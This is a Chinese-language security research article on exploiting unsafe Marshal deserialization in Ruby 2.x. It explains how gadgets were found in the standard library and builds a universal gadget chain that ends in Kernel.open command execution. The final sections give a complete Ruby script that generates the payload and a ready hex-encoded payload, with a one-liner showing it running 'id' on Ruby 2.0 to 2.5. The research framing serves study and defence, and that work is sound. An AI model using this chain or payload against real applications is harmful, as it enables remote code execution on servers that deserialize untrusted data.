导语:本文主要讲解Ruby编程语言任意反序列化的漏洞利用,同时发布了一个公共通用的工具链,从而实现Ruby 2.x的任意命令执行。

概述

本文主要讲解Ruby编程语言任意反序列化的漏洞利用,同时发布了一个公共通用的工具链,从而实现Ruby 2.x的任意命令执行。首先将详细说明Ruby语言中存在的反序列化问题,然后讲解Gadget链的发现过程,最后描述漏洞利用的方式。

背景

序列化是将对象转换为一系列字节的过程,随后就可以将其通过网络传输,或者是存储在文件系统或数据库中。这些字节中包含重建原始对象所需的所有相关信息。而这种重建的过程,就被称为反序列化。每种编程语言都有其独特的序列化格式,也有一些编程语言不将这一过程称为序列化和反序列化。在Ruby中,该过程通常被称为编组(Marshalling)和解组(Unmarshalling)。

Marshal类中包含类方法“dump”和“load”,其使用方式如下:

$ irb
>> class Person
>>   attr_accessor :name
>> end
=> nil
 
>> p = Person.new
=> #<Person:0x00005584ba9af490>
 
>> p.name = "Luke Jahnke"
=> "Luke Jahnke"
 
>> p
=> #<Person:0x00005584ba9af490 @name="Luke Jahnke">
 
>> Marshal.dump(p)
=> "\x04\bo:\vPerson\x06:\[email protected]\"\x10Luke Jahnke\x06:\x06ET"
 
>> Marshal.load("\x04\bo:\vPerson\x06:\[email protected]\"\x10Luke Jahnke\x06:\x06ET")
=> #<Person:0x00005584ba995dd8 @name="Luke Jahnke">

不受信任数据反序列化问题

尽管序列化对象是以不透明的二进制格式进行传输,但如果开发人员错误的认为攻击者无法查看或篡改序列化对象,就会出现常见的安全漏洞。这样一来,就可能导致存储在对象内的任何敏感信息(例如凭据、应用程序密钥)被泄露给攻击者。如果序列化对象中包含随后用于权限检查的实例变量,那么攻击者可能会利用这一漏洞实现权限提升。例如,有一个包含用户名实例变量的User对象,该对象经过序列化后,可能被攻击者篡改。攻击者可以轻而易举地修改序列化数据,并将username变量更改为较高权限用户的用户名,例如admin。尽管这些攻击方式非常强大,但它们具有高度上下文敏感性,并且从技术角度来看可能不会引起注意,所以我们在本文中不对其展开讨论。

此外,代码重用攻击也有可能发生,我们可以通过执行一些已知的可用代码(被称为Gadget),从而实现诸如任意命令执行这样的操作。由于反序列化可以将实例变量设置为任意值,因此攻击者可以控制Gadget去操纵某些数据。这样一来,也允许攻击者使用Gadget来调用第二个Gadget,因为存在方法能够调用存储在实例变量中的对象。当一系列Gadget以这种方式连接在一起时,就被称为一个Gadget链。

此前已有的Payload

不安全的反序列化是2017年OWASP十大最严重Web应用程序安全风险的第8名,但是,目前关于为Ruby构建Gadget链的技术细节还非常有限。我们可以在Phrack的文章《Attacking Ruby on Rails Applications》中得到非常多的参考,其中Phenoelit的joernchen在2.1节中描述了Charlie Somerville发现的Gadget链,它实现了任意代码执行。为简洁起见,我们不再详述该技术,只提出其先决条件如下:

1、必须安装并加载ActiveSupport gem;

2、必须加载标准库中的ERB(默认情况下,Ruby不会加载);

3、反序列化后,必须在反序列化对象上调用不存在的方法。

尽管这些先决条件会在绝大多数Ruby on Rails Web应用程序的上下文中实现,但实际上其他Ruby应用程序很少能够实现这些先决条件。

因此,我们不再使用这个Payload,试图跳脱出这些先决条件,寻找仍然可以实现任意代码执行的方法。

寻找Gadget

由于我们希望制造一个没有依赖关系的Gadget,因此Gadget只能从标准库中获取。需要注意的是,并非所有的标准库都会被默认加载,这也极大地限制了我们拥有的Gadget数量。举例来说,我们在测试的Ruby 2.5.3中,发现默认加载了358个类,尽管数量很多,但经过仔细观察后发现,其中有196个类没有定义任何自己的实例方法。这些空类中的大多数都是Exception类的唯一命名子类,用于区分可以捕获到的异常。

只拥有有限数量的可用类,我们就能更加轻松的找到用于增加已加载标准库数量的Gadget或技术。其中的一种技术就是,当使用require调用另一个库时,寻找相应的Gadget。这个过程非常有用,因为即使require在某个模块和(或)类的范围内,它实际上也会污染全局命名空间。

调用require(lib/rubygems.rb)的方法示例:

module Gem
...
  def self.deflate(data)
    require 'zlib'
    Zlib::Deflate.deflate data
  end
...
End

如果上面的Gem.deflate方法包含在Gadget链中,那么就会加载Ruby标准库中的Zlib库,如下所示。

被污染的全局命名空间示例:

$ irb
>> Zlib
NameError: uninitialized constant Zlib
...
 
>> Gem.deflate("")
=> "x\x9C\x03\x00\x00\x00\x00\x01"
 
>> Zlib
=> Zlib

尽管标准库中存在大量动态加载标准库其他部分的情况,但如果已经在系统上安装了第三方库,那么就会发现有一个实例正在尝试加载第三方库。

标准库SortedSet加载第三方RBTree库(lib/set.rb):

...
class SortedSet < Set
...
  class << self
...
    def setup
...
          require 'rbtree'

在请求未安装的库(包括其他库目录)时,将会对众多位置进行搜索。当Ruby尝试在没有安装RBTree的默认系统上加载RBTree时,来自strace的输出内容如下:

$ strace -f ruby -e 'require "set"; SortedSet.setup' |& grep -i rbtree | nl
     1    [pid    32] openat(AT_FDCWD, "/usr/share/rubygems-integration/all/gems/did_you_mean-1.2.0/lib/rbtree.rb", O_RDONLY|O_NONBLOCK|O_CLOEXEC) = -1 ENOENT (No such file or directory)
     2    [pid    32] openat(AT_FDCWD, "/usr/local/lib/site_ruby/2.5.0/rbtree.rb", O_RDONLY|O_NONBLOCK|O_CLOEXEC) = -1 ENOENT (No such file or directory)
     3    [pid    32] openat(AT_FDCWD, "/usr/local/lib/x86_64-linux-gnu/site_ruby/rbtree.rb", O_RDONLY|O_NONBLOCK|O_CLOEXEC) = -1 ENOENT (No such file or directory)
...
   129    [pid    32] stat("/var/lib/gems/2.5.0/gems/strscan-1.0.0/lib/rbtree.so", 0x7ffc0b805710) = -1 ENOENT (No such file or directory)
   130    [pid    32] stat("/var/lib/gems/2.5.0/extensions/x86_64-linux/2.5.0/strscan-1.0.0/rbtree", 0x7ffc0b805ec0) = -1 ENOENT (No such file or directory)
   131    [pid    32] stat("/var/lib/gems/2.5.0/extensions/x86_64-linux/2.5.0/strscan-1.0.0/rbtree.rb", 0x7ffc0b805ec0) = -1 ENOENT (No such file or directory)
   132   [pid    32] stat("/var/lib/gems/2.5.0/extensions/x86_64-linux/2.5.0/strscan-1.0.0/rbtree.so", 0x7ffc0b805ec0) = -1 ENOENT (No such file or directory)
   133    [pid    32] stat("/usr/share/rubygems-integration/all/gems/test-unit-3.2.5/lib/rbtree", 0x7ffc0b805710) = -1 ENOENT (No such file or directory)
   134    [pid    32] stat("/usr/share/rubygems-integration/all/gems/test-unit-3.2.5/lib/rbtree.rb", 0x7ffc0b805710) = -1 ENOENT (No such file or directory)
   135    [pid    32] stat("/usr/share/rubygems-integration/all/gems/test-unit-3.2.5/lib/rbtree.so", 0x7ffc0b805710) = -1 ENOENT (No such file or directory)
   136    [pid    32] stat("/var/lib/gems/2.5.0/gems/webrick-1.4.2/lib/rbtree", 0x7ffc0b805710) = -1 ENOENT (No such file or directory)
...

其中,有一个更加有用的Gadget,可以将攻击者控制的参数传递给require。这一Gadget可以在文件系统上加载任意文件,从而可以使用标准库中的任何Gadget,包括Charlie Somerville链中使用的ERB。尽管没有识别出来允许完全控制require参数的Gadget,但我们可以在下面看到允许部分控制的Gadget示例:

module Digest
  def self.const_missing(name) # :nodoc:
    case name
    when :SHA256, :SHA384, :SHA512
      lib = 'digest/sha2.so'
    else
      lib = File.join('digest', name.to_s.downcase)
    end
 
    begin
      require lib
...

上面的示例无法使用,因为const_missing从未被标准库中的任何Ruby代码显式调用。这并不奇怪,因为const_missing是一个挂钩(Hook)方法,其定义是会在引用未定义的常量时调用它。那么诸如@object.__send__(@method, @argument)的一个Gadget,允许使用任意参数调用任意对象的任意方法,显然也允许调用上面的const_missing方法。既然我们已经拥有了如此强大的Gadget,那么就不再需要扩充Gadget集,因为它已经可以单独执行任意系统命令。

const_missing方法也可以作为调用const_get的结果来被调用。文件lib/rubygems/package.rb定义的Gem::Package类中的digest方法是一个合适的Gadget,因为它在Digest模块上调用const_get,并能够控制参数。但是,const_get的默认实现中会对字符集进行严格验证,以防止在digest目录之外发生遍历。

另一种调用const_missing的方法是使用Digest::SOME_CONSTANT等代码隐式调用。但是,Marshal.load不会以调用const_missing的方式来执行常量解析。关于这一内容,可以在Ruby的#3511和#12731问题中找到更多解释。

另一个Gadget也提供了对传递给require参数的部分控制,使用参数调用[]方法将会导致该参数包含在require参数中(lib/rubygems/command_manager.rb),具体如下所示:

class Gem::CommandManager
  def [](command_name)
    command_name = command_name.intern
    return nil if @commands[command_name].nil?
    @commands[command_name] ||= load_and_instantiate(command_name)
  end
 
  private
 
  def load_and_instantiate(command_name)
    command_name = command_name.to_s
...
        require "rubygems/commands/#{command_name}_command"
...
    end
  end
...

上面的示例并没有实际使用,原因在于“_command”后缀,以及并没有能够识别允许阶段的技术(即使用空字节)。实际上,存在许多带有“_command”后缀的文件,但我们没有对这些文件进行进一步探索,因为我们发现有另外一种技术,可以增加可用的Gadget。

如下所示,Rubygem库中广泛使用了autoload方法:

module Gem
...
  autoload :BundlerVersionFinder, 'rubygems/bundler_version_finder'
  autoload :ConfigFile,         'rubygems/config_file'
  autoload :Dependency,         'rubygems/dependency'
  autoload :DependencyList,     'rubygems/dependency_list'
  autoload :DependencyResolver, 'rubygems/resolver'
  autoload :Installer,          'rubygems/installer'
  autoload :Licenses,           'rubygems/util/licenses'
  autoload :PathSupport,        'rubygems/path_support'
  autoload :Platform,           'rubygems/platform'
  autoload :RequestSet,         'rubygems/request_set'
  autoload :Requirement,        'rubygems/requirement'
  autoload :Resolver,           'rubygems/resolver'
  autoload :Source,             'rubygems/source'
  autoload :SourceList,         'rubygems/source_list'
  autoload :SpecFetcher,        'rubygems/spec_fetcher'
  autoload :Specification,      'rubygems/specification'
  autoload :Util,               'rubygems/util'
  autoload :Version,            'rubygems/version'
...
end

autoload的工作方式与require类似,但只在第一次访问注册的常量后才会加载指定文件。由于这一特点,如果反序列化Payload中包含任何这些常量,都会加载相应的文件。这些文件本身还包含require和autoload语句,进一步增加了可以提供的Gadget的数量。

尽管在Ruby 3.0版本中,autoload将会被删去,但随着Ruby 2.5的发布,标准库中autoload的使用频率有所增加。在这个git提交中,引用了使用autoload的新代码,其代码片段如下:

require 'uri/common'
autoload :IPSocket, 'socket'
autoload :IPAddr, 'ipaddr'
 
module URI
...

为了探索标准库中的这组可用的Gadget,我们使用以下代码,加载使用autoload注册的每个文件:

ObjectSpace.each_object do |clazz|
  if clazz.respond_to? :const_get
    Symbol.all_symbols.each do |sym|
      begin
        clazz.const_get(sym)
      rescue NameError
      rescue LoadError
      end
    end
  end
end

在运行了上面的代码之后,我们针对可用于提供Gadget类的数量进行了新的统计,最终发现了959个已经加载的类,比此前的统计结果增加了658个。在其中,有511个类已经定义了至少一个实例方法。加载这些附加类的能力,为搜索这些有用的Gadget提供了有利条件。

初始化Gadget并启动

每个Gadget链的最开始,都有一个Gadget,它将在反序列化期间或反序列化之后自动调用。这是执行更多Gadget的初始入口点,其最终目标是实现任意代码执行,或发动其他攻击。

理想的初始Gadget是在反序列化期间由Marshal.load自动调用的Gadget。这样一来,就消除了反序列化后执行代码的任何机会,从而确保不被防御机制发现。我们认为,在反序列化期间可能会自动调用Gadget,因为这是其他编程语言(例如PHP)中的一项功能。在PHP中,如果一个类具有定义的__wakeup方法,那么在对该类型的对象进行反序列化的过程中,将会立即进行调用。阅读相关的Ruby文档,我们会发现,如果一个类定义了一个marshal_load实例方法,那么在对该类的一个对象进行反序列化时,就会调用该方法。

掌握了上述内容后,我们可以检查每个加载的类,查看它们是否具有marshal_load实例方法。我们编写了一个Ruby脚本来实现:

ObjectSpace.each_object(::Class) do |obj|
  all_methods = obj.instance_methods + obj.protected_instance_methods + obj.private_instance_methods
 
  if all_methods.include? :marshal_load
    method_origin = obj.instance_method(:marshal_load).inspect[/\((.*)\)/,1] || obj.to_s
 
    puts obj
    puts "  marshal_load defined by #{method_origin}"
    puts "  ancestors = #{obj.ancestors}"
    puts
  end
end

其他使用到的Gadget

在研究期间,我们发现了许多Gadget,但最终的链上只使用了其中的一小部分。为了简洁起见,我们总结了一些有趣的内容:

结合调用缓存方法的Gadget链,实现任意代码执行(lib/rubygems/source/git.rb):

class Gem::Source::Git < Gem::Source
...
  def cache # :nodoc:
...
      system @git, 'clone', '--quiet', '--bare', '--no-hardlinks',
             @repository, repo_cache_dir
...
  end
...

使to_i返回除预期的Integer对象之外的其他内容(lib/ipaddr.rb):

class IPAddr
...
  def to_i
    return @addr
  end
...

生成一个小型Gadget链,使反序列化进入无限循环:

module Gem
  class List
    attr_accessor :value, :tail
  end
end
 
$x = Gem::List.new
$x.value = :@elttam
$x.tail = $x
 
class SimpleDelegator
  def marshal_dump
    [
      :__v2__,
      $x,
      [],
      nil
    ]
  end
end
 
ace = SimpleDelegator.new(nil)
 
puts Marshal.dump(ace).inspect

构建Gadget链

要构建Gadget链,第一步是需要构建待选marshal_load初始Gadget池,并确保它们能够调用我们提供的对象的方法。由于在Ruby中“一切都是对象”,所以其中很可能包含每一个初始Gadget。我们对实现进行逐一检查,并保证其中所有调用都设置为我们控制的对象的公共方法名称,从而减少这个池的大小。理想情况下,常用的方法名称应该有很多种不同的实现可供选择。

对于我的Gadget链,我选择了Gem::Requirement类,其实现如下所示,并且具有在任意对象上调用每个方法的能力:

class Gem::Requirement
  # 1) we have complete control over array
  def marshal_load(array)
    # 2) so we can set @requirements to an object of our choosing
    @requirements = array[0]
 
    fix_syck_default_key_in_requirements
  end
 
  # 3) this method is invoked by marshal_load
  def fix_syck_default_key_in_requirements
    Gem.load_yaml
 
    # 4) we can call .each on any object
    @requirements.each do |r|
      if r[0].kind_of? Gem::SyckDefaultKey
        r[0] = "="
      end
    end
  end
 
end

现在,已经能够调用每一个方法,还需要对每个方法进行有效实现,从而让我们更加接近命令执行。在查看了Gem::DependencyList(和mixin Tsort)的源代码后,发现调用它的每个实例方法都会导致在它的@specs实例变量上调用sort方法。我们没有发现sort方法调用所需的准确路径,但可以使用以下命令验证其行为,该命令使用Ruby中的stdlib Tracer类输出源级别(Source Level)的执行跟踪:

$ ruby -rtracer -e 'dl=Gem::DependencyList.new; dl.instance_variable_set(:@specs,[nil,nil]); dl.each{}' |& fgrep '@specs.sort'
#0:/usr/share/rubygems/rubygems/dependency_list.rb:218:Gem::DependencyList:-:     specs = @specs.sort.reverse

利用这种在任意对象数组上调用sort方法的新功能,我们可以在任意对象上调用<=>方法(运算符)。这非常有用,因为Gem::Source::SpecificFile有一个<=>方法的实现,在调用时可以导致在其@spec实例变量上调用name方法,如下所示:

class Gem::Source::SpecificFile < Gem::Source
  def <=> other
    case other
    when Gem::Source::SpecificFile then
      return nil if @spec.name != other.spec.name # [1]
 
      @spec.version <=> other.spec.version
    else
      super
    end
  end
 
end

我们最后要解决的问题,是在任意对象上调用name方法。因为Gem::StubSpecification上有一个name方法,它会调用其data方法,然后data方法再负责调用open方法,实质上是Kernel.open,它的实例变量@loaded_from将作为第一个参数,如下所示:

class Gem::BasicSpecification
  attr_writer :base_dir # :nodoc:
  attr_writer :extension_dir # :nodoc:
  attr_writer :ignored # :nodoc:
  attr_accessor :loaded_from
  attr_writer :full_gem_path # :nodoc:
...
end
 
class Gem::StubSpecification < Gem::BasicSpecification
 
  def name
    data.name
  end
 
  private def data
    unless @data
      begin
        saved_lineno = $.
 
        # TODO It should be use `File.open`, but bundler-1.16.1 example expects Kernel#open.
        open loaded_from, OPEN_MODE do |file|
...

当第一个参数的第一个字符是“|”时,Kernel.open可用于执行任意命令。

生成Payload

我们编写了以下脚本,用于生成和测试之前描述的Gadget链:

#!/usr/bin/env ruby
 
class Gem::StubSpecification
  def initialize; end
end
 
 
stub_specification = Gem::StubSpecification.new
stub_specification.instance_variable_set(:@loaded_from, "|id 1>&2")
 
puts "STEP n"
stub_specification.name rescue nil
puts
 
 
class Gem::Source::SpecificFile
  def initialize; end
end
 
specific_file = Gem::Source::SpecificFile.new
specific_file.instance_variable_set(:@spec, stub_specification)
 
other_specific_file = Gem::Source::SpecificFile.new
 
puts "STEP n-1"
specific_file <=> other_specific_file rescue nil
puts
 
 
$dependency_list= Gem::DependencyList.new
$dependency_list.instance_variable_set(:@specs, [specific_file, other_specific_file])
 
puts "STEP n-2"
$dependency_list.each{} rescue nil
puts
 
 
class Gem::Requirement
  def marshal_dump
    [$dependency_list]
  end
end
 
payload = Marshal.dump(Gem::Requirement.new)
 
puts "STEP n-3"
Marshal.load(payload) rescue nil
puts
 
 
puts "VALIDATION (in fresh ruby process):"
IO.popen("ruby -e 'Marshal.load(STDIN.read) rescue nil'", "r+") do |pipe|
  pipe.print payload
  pipe.close_write
  puts pipe.gets
  puts
end
 
puts "Payload (hex):"
puts payload.unpack('H*')[0]
puts
 
 
require "base64"
puts "Payload (Base64 encoded):"
puts Base64.encode64(payload)

以下单行Bash代码,验证Payload是否已经针对空Ruby进程成功执行。经过尝试,发现2.0-2.5版本受到漏洞的影响:

$ for i in {0..5}; do docker run -it ruby:2.${i} ruby -e 'Marshal.load(["0408553a1547656d3a3a526571756972656d656e745b066f3a1847656d3a3a446570656e64656e63794c697374073a0b4073706563735b076f3a1e47656d3a3a536f757263653a3a537065636966696346696c65063a0a40737065636f3a1b47656d3a3a5374756253706563696669636174696f6e083a11406c6f616465645f66726f6d49220d7c696420313e2632063a0645543a0a4064617461303b09306f3b08003a1140646576656c6f706d656e7446"].pack("H*")) rescue nil'; done
uid=0(root) gid=0(root) groups=0(root)
uid=0(root) gid=0(root) groups=0(root)
uid=0(root) gid=0(root) groups=0(root)
uid=0(root) gid=0(root) groups=0(root)
uid=0(root) gid=0(root) groups=0(root)
uid=0(root) gid=0(root) groups=0(root)

结论

本文研究并发布了一个通用的Gadget链,用于在Ruby 2.0-2.5版本中实现命令执行。

正如本文所说明的那样,Ruby标准库的复杂知识,在构建反序列化Gadget链的过程中非常有用。在之后,有相当多的后续研究可以进行,包括尝试如何在1.8和1.9版本也实现任意命令执行,以及覆盖使用命令行参数–disable-all调用Ruby进程的实例。此外,也可以尝试用JRuby和Rubinius等替代Ruby来实现。

我们已经对Fuzzing Ruby C扩展和使用AFL-Fuzz攻破Ruby的重组(Unmarshal)进行了一些研究,之后将会对其进行更深入的分析,包括人工代码审计。以下展示了marshal_load方法的本地代码实现(使用C):

complex.c:    rb_define_private_method(compat, "marshal_load", nucomp_marshal_load, 1);
iseq.c:    rb_define_private_method(rb_cISeq, "marshal_load", iseqw_marshal_load, 1);
random.c:    rb_define_private_method(rb_cRandom, "marshal_load", random_load, 1);
rational.c:    rb_define_private_method(compat, "marshal_load", nurat_marshal_load, 1);
time.c:    rb_define_private_method(rb_cTime, "marshal_load", time_mload, 1);
ext/date/date_core.c:    rb_define_method(cDate, "marshal_load", d_lite_marshal_load, 1);
ext/socket/raddrinfo.c:    rb_define_method(rb_cAddrinfo, "marshal_load", addrinfo_mload, 1);

感谢大家的阅读!

源链接

Hacking more

...